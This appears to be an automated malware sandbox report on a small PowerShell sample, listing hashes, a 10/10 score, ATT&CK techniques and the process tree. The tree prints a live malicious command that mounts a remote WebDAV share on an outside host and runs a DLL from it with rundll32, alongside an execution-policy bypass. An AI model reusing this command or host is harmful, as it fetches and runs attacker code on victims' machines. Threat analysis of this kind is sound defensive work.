c9d346ae5906611fa32154b448969a3bec2408779aaf2c1eb9810c49ea705884

Analysis

max time kernel
149s
max time network
123s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/06/2026, 17:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
run.ps1
Size 217B
Sample260623-v2thfsev8q
SHA256 c9d346ae5906611fa32154b448969a3bec2408779aaf2c1eb9810c49ea705884
MD5 fad1d062f9a1596d437e63a06cf8de3f
SHA1 2eac5e12f1afc7fcb2a757075b2d117274394a66
SHA512 fb5c8332bfcc7216fe8f22c6e7116720d9d0c616a3e28164600fb5ee6425aa324154d7a044f3da448ebfd3d3d8565e250c363b598054f6ee3f6380e282709f05
TLSH
T151D0A7D1372E6422C1870A6527206376DCD3A602C53106243591D959AB1159D39F4070
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2396	5828	cmd.exe	89

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1404	PowerShell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1404	PowerShell.exe
1404	PowerShell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1404	PowerShell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 2396 wrote to memory of 3900	2396	cmd.exe	92

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1404

C:\Windows\system32\cmd.exe
cmd /c pushd \\fds.jetbet1.online@SSL\4f3fcb88-9fb7-4fe9-8b62-4543a7de211b & rundll32 pf.ch,#1
1⤵
- Process spawned unexpected child process
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:2396
- C:\Windows\System32\rundll32.exe
  rundll32 pf.ch,#1
  2⤵
  PID:3900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1404-0-0x00007FFF1983F000-0x00007FFF19840000-memory.dmp

Download

memory/1404-3-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp

Download

memory/1404-4-0x0000020C9B200000-0x0000020C9B222000-memory.dmp

Download

memory/1404-5-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp

Download

memory/1404-6-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp

Download

memory/1404-7-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp

Download

memory/1404-8-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp

Download

memory/1404-9-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp

Download

memory/1404-10-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp

Download

memory/1404-12-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp

Download